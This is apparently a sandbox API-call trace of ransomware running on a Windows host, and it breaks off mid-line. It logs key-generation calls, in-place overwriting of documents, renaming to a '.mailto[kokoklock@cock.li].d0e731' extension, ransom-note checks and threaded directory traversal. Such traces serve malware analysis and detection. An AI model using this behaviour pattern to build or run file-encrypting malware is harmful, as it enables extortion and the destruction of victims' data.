0x7e451344 [0174.568] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x9850ece6 [0174.568] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x3357db14 [0174.568] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xc14573ed [0174.568] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xb5033f9b [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xee151b57 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x298b74b8 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xa48f2233 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x2e248ca6 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xa11f5796 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x9fea61a5 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x79fab2a2 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x58cfb50f [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xddc0e7b9 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x64286e40 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xcff5c64a [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x920da660 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xc47e4662 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xf23068f6 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xdccc0115 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x450552c4 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xf85bf0da [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x8d1c335c [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x137aad40 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xb5ad8629 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x90fbac28 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xfd4051ad [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x359d45c8 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x2270f10f [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x23c21f17 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0x61734158 [0174.569] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 0xfba8726e [0174.580] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.580] ReadFile (in: hFile=0x840, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12defd84, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x12defd84*=0x4096, lpOverlapped=0x0) returned 1 [0174.582] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0174.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0174.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.582] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0174.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0174.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.583] WriteFile (in: hFile=0x840, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12defd84, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x12defd84*=0x4096, lpOverlapped=0x0) returned 1 [0174.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.583] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0xb98f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.583] WriteFile (in: hFile=0x840, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12defdbc, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x12defdbc*=0x20, lpOverlapped=0x0) returned 1 [0174.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.584] WriteFile (in: hFile=0x840, lpBuffer=0x30542f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x30542f8*, lpNumberOfBytesWritten=0x12defdd0*=0x8, lpOverlapped=0x0) returned 1 [0174.584] WriteFile (in: hFile=0x840, lpBuffer=0x12defde8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x12defde8*, lpNumberOfBytesWritten=0x12defdd0*=0x4, lpOverlapped=0x0) returned 1 [0174.584] WriteFile (in: hFile=0x840, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x12defdd0*=0x4, lpOverlapped=0x0) returned 1 [0174.584] WriteFile (in: hFile=0x840, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x12defdd0*=0x6c, lpOverlapped=0x0) returned 1 [0174.584] WriteFile (in: hFile=0x840, lpBuffer=0x3053da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x3053da8*, lpNumberOfBytesWritten=0x12defdd0*=0x20, lpOverlapped=0x0) returned 1 [0174.584] WriteFile (in: hFile=0x840, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x12defdd0*=0x4, lpOverlapped=0x0) returned 1 [0174.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0174.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0174.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0174.584] CloseHandle (hObject=0x840) returned 1 [0174.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff17a8 [0174.585] wcscpy (in: _Dest=0x2ff17a8, _Source="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" [0174.585] wcscat (in: _Dest=0x2ff17a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.585] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.586] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff17a8) returned 1 [0174.586] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.586] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.586] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.586] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4c78) returned 1 [0174.586] RtlExitUserThread (Status=0x1) Thread: id = 1920 os_tid = 0xd64 [0170.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa40c0 [0170.703] wcscpy (in: _Dest=0x2fa40c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0170.703] wcscat (in: _Dest=0x2fa40c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0170.703] wcscat (in: _Dest=0x2fa40c0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\*" [0170.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30207d8 [0170.703] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\*", lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x847a8340, ftCreationTime.dwHighDateTime=0x1d4d4ce, ftLastAccessTime.dwLowDateTime=0x847ce27e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847ce27e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30454e8 [0174.566] wcscmp (_String1=".", _String2=".") returned 0 [0174.566] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x847a8340, ftCreationTime.dwHighDateTime=0x1d4d4ce, ftLastAccessTime.dwLowDateTime=0x847ce27e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847ce27e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.566] wcscmp (_String1="..", _String2=".") returned 1 [0174.566] wcscmp (_String1="..", _String2="..") returned 0 [0174.566] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45f7af50, ftCreationTime.dwHighDateTime=0x1d4c8ab, ftLastAccessTime.dwLowDateTime=0x86dbe140, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86dbe140, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPtEQ1wNKh", cAlternateFileName="BPTEQ1~1")) returned 1 [0174.566] wcscmp (_String1="BPtEQ1wNKh", _String2=".") returned 1 [0174.566] wcscmp (_String1="BPtEQ1wNKh", _String2="..") returned 1 [0174.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x30576e0 [0174.566] wcscpy (in: _Dest=0x30576e0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0174.566] wcscat (in: _Dest=0x30576e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0174.566] wcscat (in: _Dest=0x30576e0, _Source="BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0175.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30576e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0175.644] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84781dd8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84781dd8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84781dd8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.644] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.644] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.644] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb271be0, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0x6bfdfa10, ftLastAccessTime.dwHighDateTime=0x1d4d5e9, ftLastWriteTime.dwLowDateTime=0x84781dd8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GFAAKZ~1.D0E")) returned 1 [0175.645] wcscmp (_String1="gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.645] wcscmp (_String1="gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f9de30 [0175.645] wcscpy (in: _Dest=0x2f9de30, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0175.645] wcscat (in: _Dest=0x2f9de30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0175.645] wcscat (in: _Dest=0x2f9de30, _Source="gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" [0175.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9de30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0175.645] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3473a570, ftCreationTime.dwHighDateTime=0x1d4d40b, ftLastAccessTime.dwLowDateTime=0xd911ff70, ftLastAccessTime.dwHighDateTime=0x1d4c66c, ftLastWriteTime.dwLowDateTime=0x847a7fca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x300b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HZUZZS~1.D0E")) returned 1 [0175.645] wcscmp (_String1="HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.645] wcscmp (_String1="HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x2f84428 [0175.645] wcscpy (in: _Dest=0x2f84428, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0175.646] wcscat (in: _Dest=0x2f84428, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0175.646] wcscat (in: _Dest=0x2f84428, _Source="HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" [0175.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0175.646] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf33118a0, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0x5e0ad90, ftLastAccessTime.dwHighDateTime=0x1d4cb80, ftLastWriteTime.dwLowDateTime=0x847ce27e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14f0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="qSq6d.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QSQ6DD~1.D0E")) returned 1 [0175.646] wcscmp (_String1="qSq6d.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.646] wcscmp (_String1="qSq6d.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.646] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e1e0 [0175.646] wcscpy (in: _Dest=0x2f6e1e0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0175.646] wcscat (in: _Dest=0x2f6e1e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0175.646] wcscat (in: _Dest=0x2f6e1e0, _Source="qSq6d.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" [0175.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0175.647] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x86c8cde5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c8cde5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sr-iCEZV", cAlternateFileName="")) returned 1 [0175.647] wcscmp (_String1="Sr-iCEZV", _String2=".") returned 1 [0175.647] wcscmp (_String1="Sr-iCEZV", _String2="..") returned 1 [0175.647] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87958 [0175.647] wcscpy (in: _Dest=0x2f87958, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0175.647] wcscat (in: _Dest=0x2f87958, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0175.647] wcscat (in: _Dest=0x2f87958, _Source="Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0175.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0175.648] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x86c8cde5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c8cde5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sr-iCEZV", cAlternateFileName="")) returned 0 [0175.648] FindClose (in: hFindFile=0x30454e8 | out: hFindFile=0x30454e8) returned 1 [0175.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30207d8) returned 1 [0175.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa40c0) returned 1 [0175.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88cb8) returned 1 [0175.653] RtlExitUserThread (Status=0x0) Thread: id = 1921 os_tid = 0xd54 [0170.704] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.543] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ui4vxjzp38c.pptx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.543] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x12eefbac | out: lpFileSize=0x12eefbac*=77617) returned 1 [0174.543] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x12f2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.543] ReadFile (in: hFile=0x928, lpBuffer=0x12eefb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12eefb7c, lpOverlapped=0x0 | out: lpBuffer=0x12eefb80*, lpNumberOfBytesRead=0x12eefb7c*=0x4, lpOverlapped=0x0) returned 1 [0174.545] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.545] NtQuerySystemTime (in: CurrentTime=0x12eefb58 | out: CurrentTime=0x12eefb58*=132121213318577029) returned 0x0 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xd0078057 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xef76d38b [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xe5ea5543 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xe4a997a9 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x5e5ad96b [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x61eae8c [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xc1642bab [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x3fcde9e3 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x94ef1bde [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x3f9707c8 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0x24d76c67 [0174.545] RtlRandom (in: Seed=0x12eefb64 | out: Seed=0x12eefb64) returned 0xa39bbc20 [0174.545] RtlRandom (in: 